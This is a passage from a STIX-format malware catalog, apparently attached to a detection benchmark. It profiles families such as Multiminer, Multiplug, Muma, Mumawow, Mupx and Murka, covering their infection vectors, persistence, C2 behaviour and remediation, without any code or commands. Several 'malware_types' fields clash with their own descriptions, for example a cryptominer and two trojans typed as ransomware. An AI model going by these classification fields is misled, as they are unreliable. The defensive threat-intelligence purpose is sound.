      "id": "malware--a4eb1caa-64a8-5e28-b7ff-5a9e79672388",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Multiminer",
      "description": "CoinMiner:Win32/Multiminer represents a prevalent class of malware known as **Cryptojackers or Cryptocurrency Miners**. Unlike ransomware that destroys data, Multiminer's objective is entirely parasitic: it silently hijacks the infected computer's processing power (CPU and/or GPU) to solve complex cryptographic algorithms, mining cryptocurrency (like Monero or Bitcoin) and sending the profits directly to the attacker's wallet.<br><br><b>Understanding Multiminer (Cryptojacking)</b><br>To an end-user, the primary symptom of a Multiminer infection is severe system sluggishness. The computer's fans will spin constantly at maximum speed, applications will hang, and laptop batteries will drain rapidly. For an enterprise, widespread cryptomining infections represent a massive, unauthorized consumption of electricity and cloud computing resources, resulting in tangible financial loss and hardware degradation.<br><br><b>Execution and Resource Hijacking Mechanics</b><br>Multiminer is often distributed via opportunistic botnets scanning for unpatched vulnerabilities (like EternalBlue), malicious email attachments (`T1566.001`), or bundled with pirated software. Upon execution, it establishes persistence, often running as a hidden Windows Service (`T1543.003`) or via a scheduled task. The core payload (`T1496`) is a mining binary (often a modified version of open-source tools like XMRig). The malware configures the miner to connect to a specific mining pool over the internet (`T1071.001`), providing the attacker's wallet address. Advanced variants use defense evasion techniques to detect if Task Manager or security tools are opened, temporarily pausing the mining process to avoid detection (`T1562.001`).<br><br><b>Indicators of Compromise & Impact</b><br>The impact is significant resource theft, hardware wear, and inflated cloud infrastructure bills. Host-based IoCs include EDR alerts for sustained, 100% CPU/GPU utilization by unknown processes (often disguised as `svchost.exe` or `wuauclt.exe`). Network IoCs are highly distinct: consistent, unencrypted TCP connections to known cryptocurrency mining pools (e.g., using the Stratum protocol on ports 3333, 14444, or 443). (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Multiminer",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/multiminer"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--58568eea-221f-5e3f-a0eb-6a7b744cd3ea",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a4eb1caa-64a8-5e28-b7ff-5a9e79672388",
      "target_ref": "attack-pattern--bd67c8e3-94f2-57e6-a412-22872f13a8e2",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Multiminer exhibits technique T1496 (Resource Hijacking (Cryptocurrency mining))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2c47cbf9-e0cc-57cb-aaaf-e88c72ab775a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a4eb1caa-64a8-5e28-b7ff-5a9e79672388",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Multiminer exhibits technique T1071.001 (Application Layer Protocol: Web Protocols (Connecting to mining pools))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b010d76e-c64c-506b-8534-c11946929ad6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a4eb1caa-64a8-5e28-b7ff-5a9e79672388",
      "target_ref": "attack-pattern--811b0131-eca0-5e7e-a296-b88d7ece01bd",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Multiminer exhibits technique T1543.003 (Create or Modify System Process: Windows Service)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a0aff2ed-951f-5109-b212-76c9f3aa370b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a4eb1caa-64a8-5e28-b7ff-5a9e79672388",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Multiminer exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (Pausing mining when Task Manager opens))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--16778be6-20fe-5126-a035-4bad37056065",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Multipacked",
      "description": "MultiPacked (cataloged across security vendors and intelligence telemetry as VirTool:Win32/MultiPacked, Packer:Win32/MultiPacked, and Trojan.Win32.MultiPacked) designates executable payloads that have been subjected to multi-layered, nested runtime packing schemes. Cybercriminal operators utilize MultiPacked techniques to defeat automated sandbox unpackers and static heuristic detection by encapsulating an already packed executable within one or more additional layers of external crypters or commercial virtualization software (such as combining UPX with VMProtect, Themida, or custom XOR-based decrypters). When executed, the binary unpacks sequentially in memory: the outer stub decrypts an intermediary decompression loader, which in turn conducts anti-debugging and environment checks before peeling away the inner layer and executing the underlying malicious payload. (Observed samples in benchmark: 36)",
      "is_family": true,
      "malware_types": [
        "resource-exploitation"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "VirTool:Win32/MultiPacked",
        "Packer:Win32/MultiPacked",
        "Trojan.Win32.MultiPacked",
        "Win32/MultiPacked",
        "MultiPacked.Gen"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Multipacked",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/multipacked"
        }
      ],
      "labels": [
        "packer",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--2816d47c-8791-5842-af48-20b3666664ad",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Multiplug",
      "description": "MultiPlug (cataloged across security vendors and threat intelligence databases under signatures including Adware:Win32/MultiPlug, PUA:Win32/MultiPlug, and Program:Win32/MultiPlug) is a persistent adware and browser modification framework active since 2014. Distributed primarily through deceptive freeware bundles, torrent client downloads, and fake software update portals, MultiPlug installs rogue browser helper objects and extensions across Google Chrome, Mozilla Firefox, and Internet Explorer. Once embedded, MultiPlug modifies browser network routing and DNS lookups, injecting sponsored in-text hyperlinks, floating banner advertisements, and pop-under commercial windows into arbitrary web pages visited by the user. MultiPlug installs multiple watchdog Windows services and scheduled tasks to detect and reverse user removal attempts, silently regenerating deleted registry keys and files to ensure uninterrupted ad monetization. (Observed samples in benchmark: 53)",
      "is_family": true,
      "malware_types": [
        "adware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Adware:Win32/MultiPlug",
        "PUA:Win32/MultiPlug",
        "Program:Win32/MultiPlug",
        "MultiPlug Adware"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Multiplug",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/multiplug"
        }
      ],
      "labels": [
        "adware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4f1992d6-73a8-5844-9c7b-222e899f32da",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2816d47c-8791-5842-af48-20b3666664ad",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Multiplug exhibits technique T1189 (Drive-by Compromise)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--50542651-1e63-55b6-b440-955e7ad8bc62",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2816d47c-8791-5842-af48-20b3666664ad",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Multiplug exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ba3948c6-4264-54af-b586-150c22caefc0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2816d47c-8791-5842-af48-20b3666664ad",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Multiplug exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7c2309b2-4d39-52fe-858b-01a6749f0034",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2816d47c-8791-5842-af48-20b3666664ad",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Multiplug exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--df27df75-2a95-522b-9923-71d33c7e1d05",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2816d47c-8791-5842-af48-20b3666664ad",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Multiplug exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--85e3d900-beed-594d-992f-be12bce0a33d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Muma",
      "description": "<h3>Executive Summary</h3>\nMuma is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nMuma is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Muma operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Muma ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Muma receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Muma infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Muma executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Muma frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Muma",
        "Downloader.Muma",
        "Win32/Muma"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Muma",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/muma"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7d1b96a4-e3a4-5170-9ece-66f93e749189",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--85e3d900-beed-594d-992f-be12bce0a33d",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Muma exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--69f4ec19-cb0f-5e06-8fbc-5fe8a571cb8a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--85e3d900-beed-594d-992f-be12bce0a33d",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Muma exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c7fef4bd-3866-511d-9db9-ccf68e5c04c4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--85e3d900-beed-594d-992f-be12bce0a33d",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Muma exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--a0493e32-64a9-57c6-8241-270089d9809d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Mumawow",
      "description": "<h3>Executive Summary</h3>\nMumawow (Muma) is a specialized Information Stealer (Info-Stealer) specifically designed to target players of massively multiplayer online role-playing games (MMORPGs), particularly World of Warcraft (WoW). Its primary objective is the theft of gaming account credentials (usernames, passwords, and authenticator codes) to facilitate the theft of in-game virtual currency, high-value items, and the accounts themselves, which are then sold on secondary black markets.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nMumawow is typically distributed via highly targeted phishing campaigns directed at the gaming community. This includes malicious links posted on gaming forums, deceptive in-game messages promising \"free gold\" or rare items, or bundled within unverified game add-ons and UI modifications downloaded from untrustworthy sites.\n\nUpon execution, it performs a highly targeted data harvesting operation:\n<ul>\n<li><strong>Process Monitoring and Keylogging:</strong> The malware continuously monitors the system's running processes, waiting for the target game executable (e.g., `wow.exe`) to launch. Once detected, it activates a specialized keylogger designed to capture the login sequence.</li>\n<li><strong>Authenticator Bypassing:</strong> Advanced variants of Mumawow may attempt to intercept or manipulate the entry of two-factor authentication (2FA) codes, often by rapidly forwarding the captured code to a remote attacker who attempts to log in simultaneously.</li>\n<li><strong>Data Exfiltration:</strong> The stolen credentials and account details are exfiltrated via HTTP POST requests to an attacker-controlled server.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nWhile a Mumawow infection primarily targets personal gaming accounts rather than corporate financial data, it still represents a significant security breach. Users frequently reuse passwords across multiple services; a compromised gaming password could quickly lead to the compromise of the user's primary email or banking accounts.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Global Credential Reset:</strong> The absolute highest priority is a complete password reset for the affected gaming account, as well as ANY other service (email, banking) that shares the same or a similar password. This must be done from a *different, clean device*.</li>\n<li><strong>Account Recovery:</strong> Contact the game publisher's customer support immediately to initiate account recovery procedures and attempt to reverse any unauthorized in-game transactions.</li>\n<li><strong>Endpoint Eradication:</strong> Run a full system scan using a reputable enterprise antivirus solution to remove the Mumawow executable and any associated keylogging DLLs.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "PWS.Mumawow",
        "TrojanSpy.WoWStealer",
        "Win32/Muma"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Mumawow",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/mumawow"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--59f798a4-e683-5455-8ab4-4507e1dcc0d0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a0493e32-64a9-57c6-8241-270089d9809d",
      "target_ref": "attack-pattern--87ff6f4d-2443-560e-9936-9f380887aee1",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mumawow exhibits technique T1555.003 (Credentials from Web Browsers)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--de43bf96-1701-55f0-8811-d1a34f0a7f59",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a0493e32-64a9-57c6-8241-270089d9809d",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mumawow exhibits technique T1056.001 (Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c2f0ff44-b2b8-5494-aa63-d66348862777",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a0493e32-64a9-57c6-8241-270089d9809d",
      "target_ref": "attack-pattern--a389ad0f-bf6b-5b6e-b010-747af7b7b803",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mumawow exhibits technique T1048 (Exfiltration Over Alternative Protocol)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--85a73aba-374f-5451-b235-de015e5595af",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Mupx",
      "description": "<h3>Executive Summary</h3>\nMupx is a malicious threat that combines the persistence and self-replication capabilities of a network worm with the payload delivery mechanisms of a Trojan. It is designed to rapidly spread across local networks and removable media, establishing a wide footprint before opening a backdoor or downloading secondary payloads, making it a significant threat to enterprise environments lacking strict network segmentation.\n\n<h3>Propagation and Execution Lifecycle</h3>\nMupx utilizes a multi-pronged approach to maximize its infection radius within an organization.\n\nIts execution lifecycle relies on exploiting network trust and legacy Windows features:\n<ul>\n<li><strong>Removable Media Propagation:</strong> Mupx actively monitors the system for newly inserted USB flash drives. When a drive is detected, the worm copies itself to the root directory and creates a malicious `AutoRun.inf` file (or exploits `.lnk` shortcut vulnerabilities) to ensure it executes automatically when the drive is inserted into a new machine.</li>\n<li><strong>Network Share Exploitation:</strong> The worm aggressively scans the local network (LAN) for open Server Message Block (SMB) network shares. If it finds shares with weak or default credentials, it copies its executable to those drives, waiting for unsuspecting users to execute the file.</li>\n<li><strong>Payload Delivery (Trojan Functionality):</strong> Once Mupx successfully infects a new host, it typically modifies the Windows Registry (e.g., the `Run` key) to establish persistence. It then connects to a command-and-control (C2) server to receive further instructions, which frequently involves downloading and executing secondary malware, such as info-stealers or botnet agents.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Mupx infection is highly disruptive. Because of its worm capabilities, a single infected endpoint (or a single compromised USB drive) can lead to the rapid infection of hundreds of machines across the enterprise. While the initial payload may just be a downloader, the ability of the C2 server to deploy secondary malware elevates this to a critical risk.\n\n<h3>Eradication and Incident Response</h3>\n<ul>\n<li><strong>Immediate Network Segmentation:</strong> Do not just isolate the initially infected machine. Physically or logically segment the affected VLAN to halt the lateral spread of the worm via open SMB shares.</li>\n<li><strong>Disable AutoRun/AutoPlay:</strong> Enforce strict Group Policy Objects (GPOs) that entirely disable AutoRun and AutoPlay functionality across all drives in the enterprise to prevent the USB propagation vector.</li>\n<li><strong>Enterprise-Wide Sweeps:</strong> Conduct a massive forensic sweep across all endpoints and network shares to identify the Mupx executable and remove its persistence mechanisms. Scrutinize network logs for unauthorized outbound connections indicating C2 communication.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Worm.Mupx",
        "Trojan.Mupx",
        "W32/Mupx.Worm"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Mupx",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/mupx"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--95ace80b-dc53-5821-aacd-9496bed0129c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--85a73aba-374f-5451-b235-de015e5595af",
      "target_ref": "attack-pattern--6ba42f78-216a-57bb-8f7c-b5271692217a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mupx exhibits technique T1091 (Replication Through Removable Media (The core propagation mechanism using autorun.inf))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9b5335eb-3c78-54b2-adc0-f36d6f6a9666",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--85a73aba-374f-5451-b235-de015e5595af",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mupx exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8ec45428-6642-5ec9-b4a7-b161f3077ecf",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--85a73aba-374f-5451-b235-de015e5595af",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mupx exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c026a008-f6b6-5843-aa47-f9930b1f32b3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--85a73aba-374f-5451-b235-de015e5595af",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mupx exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--a712db1c-c69d-58d1-b3dd-d0b415371b7b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Murka",
      "description": "<h3>Executive Summary</h3>\nMurka is a highly evasive Trojan designed to establish a covert backdoor on compromised Windows systems. While occasionally acting as a standalone remote access tool (RAT), its primary utility for modern threat actors is as a reliable initial access broker, facilitating the silent download and deployment of secondary payloads such as ransomware and advanced information stealers.\n\n<h3>Infection Vectors and Execution</h3>\nMurka is predominantly distributed via sophisticated spear-phishing campaigns. These emails often contain weaponized Microsoft Office documents utilizing malicious macros, or exploit kits that trigger drive-by downloads when a user visits a compromised website.\n\nOnce executed, Murka prioritizes establishing a deep, persistent foothold:\n<ul>\n<li><strong>Defense Evasion:</strong> Murka employs advanced process hollowing techniques, injecting its malicious code into legitimate, whitelisted Windows processes (e.g., `svchost.exe` or `explorer.exe`) to bypass process-based firewall rules and hide from the Task Manager.</li>\n<li><strong>Persistence:</strong> It ensures operational continuity by aggressively modifying the Windows Registry (creating keys in `HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run`) or by installing itself as a hidden system service.</li>\n<li><strong>C2 Communication:</strong> Murka establishes a covert communication channel with its command-and-control (C2) infrastructure, often utilizing encrypted HTTP/S traffic to blend in with normal web browsing.</li>\n</ul>\n\n<h3>Security and Risk Implications</h3>\nA Murka infection indicates a critical breach of the endpoint perimeter. Because it provides remote attackers with an interactive shell and the ability to download arbitrary executables, a single Murka infection can rapidly escalate into a catastrophic, enterprise-wide ransomware deployment.\n\n<h3>Eradication and Incident Response</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Utilize EDR to monitor for anomalous parent-child process trees, specifically focusing on standard office applications spawning command shells (`cmd.exe`) or PowerShell.</li>\n<li><strong>Network Isolation:</strong> Instantly isolate the infected machine from the corporate network to sever the C2 connection and halt the download of secondary payloads.</li>\n<li><strong>Forensic Sweeps:</strong> A standard antivirus scan is insufficient. Responders must conduct a deep forensic sweep to locate the specific persistence mechanisms and identify any secondary payloads Murka successfully dropped.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Murka",
        "Backdoor.Murka",
        "Win32/Murka"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Murka",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/murka"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2a06736d-5c62-54b5-8a9e-a00100418fde",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a712db1c-c69d-58d1-b3dd-d0b415371b7b",
      "target_ref": "attack-pattern--691c027d-f463-5203-86d8-b530600c6c62",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Murka exhibits technique T1055.012 (Process Injection: Process Hollowing (RunPE))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--274ea8ad-de1d-578a-8339-36f293296623",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a712db1c-c69d-58d1-b3dd-d0b415371b7b",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Murka exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9d10dc82-4d64-5c82-a991-e13769f6238e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a712db1c-c69d-58d1-b3dd-d0b415371b7b",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Murka exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--92143340-3e1f-515b-82e5-1088deeb08dc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a712db1c-c69d-58d1-b3dd-d0b415371b7b",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Murka exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--4ff25139-1699-50b1-b37e-7c9d23b6363f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Murlo",
